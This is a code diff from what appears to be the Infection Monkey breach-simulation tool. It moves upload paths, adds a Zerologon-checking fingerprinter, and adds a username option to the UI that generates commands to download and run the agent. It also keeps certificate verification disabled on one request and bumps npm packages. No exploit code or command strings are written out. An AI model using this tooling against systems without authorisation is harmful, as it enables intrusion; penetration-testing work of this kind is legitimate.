filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH
|
||||
filename = ConfigService.get_config_value(filename_path)
|
||||
file_path = UPLOADS_DIR.joinpath(filename)
|
||||
file_path = ABS_UPLOAD_PATH.joinpath(filename)
|
||||
try:
|
||||
if os.path.exists(file_path):
|
||||
os.remove(file_path)
|
||||
|
@ -86,7 +83,7 @@ class FileUpload(flask_restful.Resource):
|
|||
:return: filename string
|
||||
"""
|
||||
filename = secure_filename(request_.files['filepond'].filename)
|
||||
file_path = UPLOADS_DIR.joinpath(filename).absolute()
|
||||
file_path = ABS_UPLOAD_PATH.joinpath(filename).absolute()
|
||||
request_.files['filepond'].save(str(file_path))
|
||||
ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename)
|
||||
return filename
|
||||
|
|
|
@ -7,6 +7,7 @@ import pymongo
|
|||
import requests
|
||||
import urllib3
|
||||
|
||||
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
|
||||
from monkey_island.cc.environment import Environment
|
||||
|
||||
# Disable "unverified certificate" warnings when sending requests to island
|
||||
|
@ -32,7 +33,10 @@ class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler):
|
|||
# The island server doesn't always have a correct SSL cert installed
|
||||
# (By default it comes with a self signed one),
|
||||
# that's why we're not verifying the cert in this request.
|
||||
r = requests.post(url=island_server_path, data=post_data, verify=False) # noqa: DUO123
|
||||
r = requests.post(url=island_server_path,
|
||||
data=post_data,
|
||||
verify=False,
|
||||
timeout=SHORT_REQUEST_TIMEOUT) # noqa: DUO123
|
||||
|
||||
try:
|
||||
if r.status_code != 200:
|
||||
|
|
|
@ -56,7 +56,6 @@ FINGER_CLASSES = {
|
|||
"info": "Checks if Microsoft SQL service is running and tries to gather information about it.",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
|
@ -65,6 +64,15 @@ FINGER_CLASSES = {
|
|||
"title": "ElasticFinger",
|
||||
"info": "Checks if ElasticSearch is running and attempts to find it's version.",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"WindowsServerFinger"
|
||||
],
|
||||
"title": "WindowsServerFinger",
|
||||
"info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.",
|
||||
"attack_techniques": ["T1210"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
|
@ -239,7 +239,8 @@ INTERNAL = {
|
|||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
"ElasticFinger",
|
||||
"WindowsServerFinger"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
|
|
@ -6,13 +6,17 @@ import monkey_island.cc.services.config
|
|||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Where to find file names in config
|
||||
PBA_WINDOWS_FILENAME_PATH = ['monkey', 'post_breach', 'PBA_windows_filename']
|
||||
PBA_LINUX_FILENAME_PATH = ['monkey', 'post_breach', 'PBA_linux_filename']
|
||||
PBA_UPLOAD_PATH = ['monkey_island', 'cc', 'userUploads']
|
||||
UPLOADS_DIR = Path(*PBA_UPLOAD_PATH)
|
||||
UPLOADS_DIR_NAME = 'userUploads'
|
||||
|
||||
|
||||
ABS_UPLOAD_PATH = Path(MONKEY_ISLAND_ABS_PATH, 'cc', UPLOADS_DIR_NAME)
|
||||
|
||||
|
||||
def remove_PBA_files():
|
||||
|
@ -26,7 +30,7 @@ def remove_PBA_files():
|
|||
|
||||
|
||||
def remove_file(file_name):
|
||||
file_path = os.path.join(UPLOADS_DIR, file_name)
|
||||
file_path = os.path.join(ABS_UPLOAD_PATH, file_name)
|
||||
try:
|
||||
if os.path.exists(file_path):
|
||||
os.remove(file_path)
|
||||
|
|
|
@ -6,13 +6,14 @@ import boto3
|
|||
from botocore.exceptions import UnknownServiceError
|
||||
|
||||
from common.cloud.aws.aws_instance import AwsInstance
|
||||
from monkey_island.cc.environment import EnvironmentConfig
|
||||
from monkey_island.cc.services.reporting.exporter import Exporter
|
||||
|
||||
__authors__ = ['maor.rayzin', 'shay.nehmad']
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
INFECTION_MONKEY_ARN = "324264561773:product/guardicore/aws-infection-monkey"
|
||||
|
||||
|
||||
class AWSExporter(Exporter):
|
||||
@staticmethod
|
||||
|
@ -68,7 +69,7 @@ class AWSExporter(Exporter):
|
|||
# azure and conficker are not relevant issues for an AWS env
|
||||
}
|
||||
|
||||
configured_product_arn = EnvironmentConfig.get_from_file().aws.get('sec_hub_product_arn', '')
|
||||
configured_product_arn = INFECTION_MONKEY_ARN
|
||||
product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn)
|
||||
instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}'
|
||||
# Not suppressing error here on purpose.
|
||||
|
|
|
@ -1,6 +1,5 @@
|
|||
import logging
|
||||
|
||||
import monkey_island.cc.environment.environment_singleton as env_singleton
|
||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||
from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
|
||||
from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
|
||||
|
@ -21,7 +20,7 @@ def try_add_aws_exporter_to_manager(manager):
|
|||
# noinspection PyBroadException
|
||||
try:
|
||||
RemoteRunAwsService.init()
|
||||
if RemoteRunAwsService.is_running_on_aws() and ('aws' == env_singleton.env.get_deployment()):
|
||||
if RemoteRunAwsService.is_running_on_aws():
|
||||
manager.add_exporter_to_list(AWSExporter)
|
||||
except Exception:
|
||||
logger.error("Failed adding aws exporter to manager. Exception info:", exc_info=True)
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
import logging
|
||||
import threading
|
||||
|
||||
from gevent.lock import BoundedSemaphore
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
@ -7,9 +8,9 @@ logger = logging.getLogger(__name__)
|
|||
# Report generation can be quite slow if there is a lot of data, and the UI queries the Root service often; without
|
||||
# the locks, these requests would accumulate, overload the server, eventually causing it to crash.
|
||||
logger.debug("Initializing report generation locks.")
|
||||
__report_generating_lock = threading.Semaphore()
|
||||
__attack_report_generating_lock = threading.Semaphore()
|
||||
__regular_report_generating_lock = threading.Semaphore()
|
||||
__report_generating_lock = BoundedSemaphore()
|
||||
__attack_report_generating_lock = BoundedSemaphore()
|
||||
__regular_report_generating_lock = BoundedSemaphore()
|
||||
|
||||
|
||||
def safe_generate_reports():
|
||||
|
|
|
@ -3,7 +3,7 @@ import logging
|
|||
import requests
|
||||
|
||||
import monkey_island.cc.environment.environment_singleton as env_singleton
|
||||
from common.utils.exceptions import NoInternetError
|
||||
from common.utils.exceptions import VersionServerConnectionError
|
||||
from common.version import get_version
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
@ -30,8 +30,8 @@ class VersionUpdateService:
|
|||
if VersionUpdateService.newer_version is None:
|
||||
try:
|
||||
VersionUpdateService.newer_version = VersionUpdateService._check_new_version()
|
||||
except Exception:
|
||||
logger.exception('Failed updating version number')
|
||||
except VersionServerConnectionError:
|
||||
logger.info('Failed updating version number')
|
||||
|
||||
return VersionUpdateService.newer_version
|
||||
|
||||
|
@ -47,7 +47,7 @@ class VersionUpdateService:
|
|||
reply = requests.get(url, timeout=7)
|
||||
except requests.exceptions.RequestException:
|
||||
logger.info("Can't get latest monkey version, probably no connection to the internet.")
|
||||
raise NoInternetError
|
||||
raise VersionServerConnectionError
|
||||
|
||||
res = reply.json().get('newer_version', None)
|
||||
|
||||
|
|
|
@ -35,7 +35,8 @@
|
|||
"comma-dangle": 1,
|
||||
"quotes": [
|
||||
1,
|
||||
"single"
|
||||
"single",
|
||||
{"allowTemplateLiterals": true}
|
||||
],
|
||||
"no-undef": 1,
|
||||
"global-strict": 0,
|
||||
|
|
|
@ -1156,9 +1156,9 @@
|
|||
}
|
||||
},
|
||||
"@emotion/core": {
|
||||
"version": "10.0.28",
|
||||
"resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.28.tgz",
|
||||
"integrity": "sha512-pH8UueKYO5jgg0Iq+AmCLxBsvuGtvlmiDCOuv8fGNYn3cowFpLN98L8zO56U0H1PjDIyAlXymgL3Wu7u7v6hbA==",
|
||||
"version": "10.0.34",
|
||||
"resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.34.tgz",
|
||||
"integrity": "sha512-Kcs8WHZG1NgaVFQsSpgN07G0xpfPAKUclwKvUqKrYrJovezl9uTz++1M4JfXHrgFVEiJ5QO46hMo1ZDDfvY/tw==",
|
||||
"requires": {
|
||||
"@babel/runtime": "^7.5.5",
|
||||
"@emotion/cache": "^10.0.27",
|
||||
|
@ -3112,9 +3112,9 @@
|
|||
"dev": true
|
||||
},
|
||||
"bootstrap": {
|
||||
"version": "4.5.1",
|
||||
"resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.1.tgz",
|
||||
"integrity": "sha512-bxUooHBSbvefnIZfjD0LE8nfdPKrtiFy2sgrxQwUZ0UpFzpjVbVMUxaGIoo9XWT4B2LG1HX6UQg0UMOakT0prQ=="
|
||||
"version": "4.5.2",
|
||||
"resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.2.tgz",
|
||||
"integrity": "sha512-vlGn0bcySYl/iV+BGA544JkkZP5LB3jsmkeKLFQakCOwCM3AOk7VkldBz4jrzSe+Z0Ezn99NVXa1o45cQY4R6A=="
|
||||
},
|
||||
"boxen": {
|
||||
"version": "4.2.0",
|
||||
|
@ -6516,18 +6516,18 @@
|
|||
}
|
||||
},
|
||||
"got": {
|
||||
"version": "11.5.2",
|
||||
"resolved": "https://registry.npmjs.org/got/-/got-11.5.2.tgz",
|
||||
"integrity": "sha512-yUhpEDLeuGiGJjRSzEq3kvt4zJtAcjKmhIiwNp/eUs75tRlXfWcHo5tcBaMQtnjHWC7nQYT5HkY/l0QOQTkVww==",
|
||||
"version": "11.6.0",
|
||||
"resolved": "https://registry.npmjs.org/got/-/got-11.6.0.tgz",
|
||||
"integrity": "sha512-ErhWb4IUjQzJ3vGs3+RR12NWlBDDkRciFpAkQ1LPUxi6OnwhGj07gQxjPsyIk69s7qMihwKrKquV6VQq7JNYLA==",
|
||||
"requires": {
|
||||
"@sindresorhus/is": "^3.0.0",
|
||||
"@sindresorhus/is": "^3.1.1",
|
||||
"@szmarczak/http-timer": "^4.0.5",
|
||||
"@types/cacheable-request": "^6.0.1",
|
||||
"@types/responselike": "^1.0.0",
|
||||
"cacheable-lookup": "^5.0.3",
|
||||
"cacheable-request": "^7.0.1",
|
||||
"decompress-response": "^6.0.0",
|
||||
"http2-wrapper": "^1.0.0-beta.5.0",
|
||||
"http2-wrapper": "^1.0.0-beta.5.2",
|
||||
"lowercase-keys": "^2.0.0",
|
||||
"p-cancelable": "^2.0.0",
|
||||
"responselike": "^2.0.0"
|
||||
|
@ -14858,9 +14858,9 @@
|
|||
}
|
||||
},
|
||||
"snyk": {
|
||||
"version": "1.373.0",
|
||||
"resolved": "https://registry.npmjs.org/snyk/-/snyk-1.373.0.tgz",
|
||||
"integrity": "sha512-P/BF3DnMbP2NFHw4RcQ2w4MwashUH2/lkezNq0bn51OJqktfrn/aebcJxe6RtSKemww5z8DSen8D2REz1Vzc6Q==",
|
||||
"version": "1.373.1",
|
||||
"resolved": "https://registry.npmjs.org/snyk/-/snyk-1.373.1.tgz",
|
||||
"integrity": "sha512-R8f0IpBPlK5fMytP9X1Nrk//u2NKHQ+kv/PFi0SaCW80ksFP3zrC8oKXYBkvfYTm+56TVw8cZm888DwvEOL5zg==",
|
||||
"requires": {
|
||||
"@snyk/cli-interface": "2.8.1",
|
||||
"@snyk/dep-graph": "1.18.3",
|
||||
|
@ -15504,9 +15504,9 @@
|
|||
},
|
||||
"dependencies": {
|
||||
"@types/node": {
|
||||
"version": "6.14.10",
|
||||
"resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.10.tgz",
|
||||
"integrity": "sha512-pF4HjZGSog75kGq7B1InK/wt/N08BuPATo+7HRfv7gZUzccebwv/fmWVGs/j6LvSiLWpCuGGhql51M/wcQsNzA=="
|
||||
"version": "6.14.11",
|
||||
"resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz",
|
||||
"integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA=="
|
||||
},
|
||||
"debug": {
|
||||
"version": "4.1.1",
|
||||
|
@ -15607,9 +15607,9 @@
|
|||
},
|
||||
"dependencies": {
|
||||
"@types/node": {
|
||||
"version": "6.14.10",
|
||||
"resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.10.tgz",
|
||||
"integrity": "sha512-pF4HjZGSog75kGq7B1InK/wt/N08BuPATo+7HRfv7gZUzccebwv/fmWVGs/j6LvSiLWpCuGGhql51M/wcQsNzA=="
|
||||
"version": "6.14.11",
|
||||
"resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz",
|
||||
"integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA=="
|
||||
},
|
||||
"debug": {
|
||||
"version": "3.2.6",
|
||||
|
|
|
@ -59,13 +59,13 @@
|
|||
"webpack-dev-server": "^3.11.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"@emotion/core": "^10.0.22",
|
||||
"@emotion/core": "^10.0.34",
|
||||
"@fortawesome/fontawesome-svg-core": "^1.2.29",
|
||||
"@fortawesome/free-regular-svg-icons": "^5.13.1",
|
||||
"@fortawesome/free-solid-svg-icons": "^5.13.1",
|
||||
"@fortawesome/react-fontawesome": "^0.1.11",
|
||||
"@kunukn/react-collapse": "^1.2.7",
|
||||
"bootstrap": "^4.5.1",
|
||||
"bootstrap": "^4.5.2",
|
||||
"classnames": "^2.2.6",
|
||||
"core-js": "^3.6.5",
|
||||
"d3": "^5.14.1",
|
||||
|
@ -105,7 +105,7 @@
|
|||
"react-tooltip-lite": "^1.12.0",
|
||||
"redux": "^4.0.4",
|
||||
"sha3": "^2.1.3",
|
||||
"snyk": "^1.373.0"
|
||||
"snyk": "^1.373.1"
|
||||
},
|
||||
"snyk": true
|
||||
}
|
||||
|
|
|
@ -1,12 +1,13 @@
|
|||
import React, {useEffect, useState} from 'react';
|
||||
import InlineSelection from '../../ui-components/inline-selection/InlineSelection';
|
||||
import DropdownSelect from '../../ui-components/DropdownSelect';
|
||||
import {OS_TYPES} from './OsTypes';
|
||||
import GenerateLocalWindowsCmd from './commands/local_windows_cmd';
|
||||
import GenerateLocalWindowsPowershell from './commands/local_windows_powershell';
|
||||
import GenerateLocalLinuxWget from './commands/local_linux_wget';
|
||||
import GenerateLocalLinuxCurl from './commands/local_linux_curl';
|
||||
import CommandDisplay from './CommandDisplay';
|
||||
import InlineSelection from '../../../ui-components/inline-selection/InlineSelection';
|
||||
import DropdownSelect from '../../../ui-components/DropdownSelect';
|
||||
import {OS_TYPES} from '../utils/OsTypes';
|
||||
import GenerateLocalWindowsCmd from '../commands/local_windows_cmd';
|
||||
import GenerateLocalWindowsPowershell from '../commands/local_windows_powershell';
|
||||
import GenerateLocalLinuxWget from '../commands/local_linux_wget';
|
||||
import GenerateLocalLinuxCurl from '../commands/local_linux_curl';
|
||||
import CommandDisplay from '../utils/CommandDisplay';
|
||||
import {Form} from 'react-bootstrap';
|
||||
|
||||
|
||||
const LocalManualRunOptions = (props) => {
|
||||
|
@ -28,22 +29,32 @@ const getContents = (props) => {
|
|||
const [osType, setOsType] = useState(OS_TYPES.WINDOWS_64);
|
||||
const [selectedIp, setSelectedIp] = useState(props.ips[0]);
|
||||
const [commands, setCommands] = useState(generateCommands());
|
||||
const [customUsername, setCustomUsername] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
setCommands(generateCommands());
|
||||
}, [osType, selectedIp])
|
||||
}, [osType, selectedIp, customUsername])
|
||||
|
||||
function setIp(index) {
|
||||
setSelectedIp(props.ips[index]);
|
||||
}
|
||||
|
||||
function setUsername(inputVal) {
|
||||
if (inputVal) { // checks that it's not just whitespaces
|
||||
setCustomUsername(inputVal);
|
||||
}
|
||||
else {
|
||||
setCustomUsername('');
|
||||
}
|
||||
}
|
||||
|
||||
function generateCommands() {
|
||||
if (osType === OS_TYPES.WINDOWS_64 || osType === OS_TYPES.WINDOWS_32) {
|
||||
return [{type: 'CMD', command: GenerateLocalWindowsCmd(selectedIp, osType)},
|
||||
{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, osType)}]
|
||||
return [{type: 'CMD', command: GenerateLocalWindowsCmd(selectedIp, osType, customUsername)},
|
||||
{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, osType, customUsername)}]
|
||||
} else {
|
||||
return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, osType)},
|
||||
{type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, osType)}]
|
||||
return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, osType, customUsername)},
|
||||
{type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, osType, customUsername)}]
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -51,6 +62,19 @@ const getContents = (props) => {
|
|||
<>
|
||||
<DropdownSelect defaultKey={OS_TYPES.WINDOWS_64} options={osTypes} onClick={setOsType} variant={'outline-monkey'}/>
|
||||
<DropdownSelect defaultKey={0} options={props.ips} onClick={setIp} variant={'outline-monkey'}/>
|
||||
<div style={{'marginTop': '1.4em'}}>
|
||||
<p style={{'fontSize': '1.2em'}}>
|
||||
Run as a user by entering their username:
|
||||
</p>
|
||||
<div>
|
||||
<Form>
|
||||
<Form.Control
|
||||
type="text"
|
||||
onChange={input => setUsername(input.target.value.trim())}
|
||||
/>
|
||||
</Form>
|
||||
</div>
|
||||
</div>
|
||||
<CommandDisplay commands={commands}/>
|
||||
</>
|
||||
)
|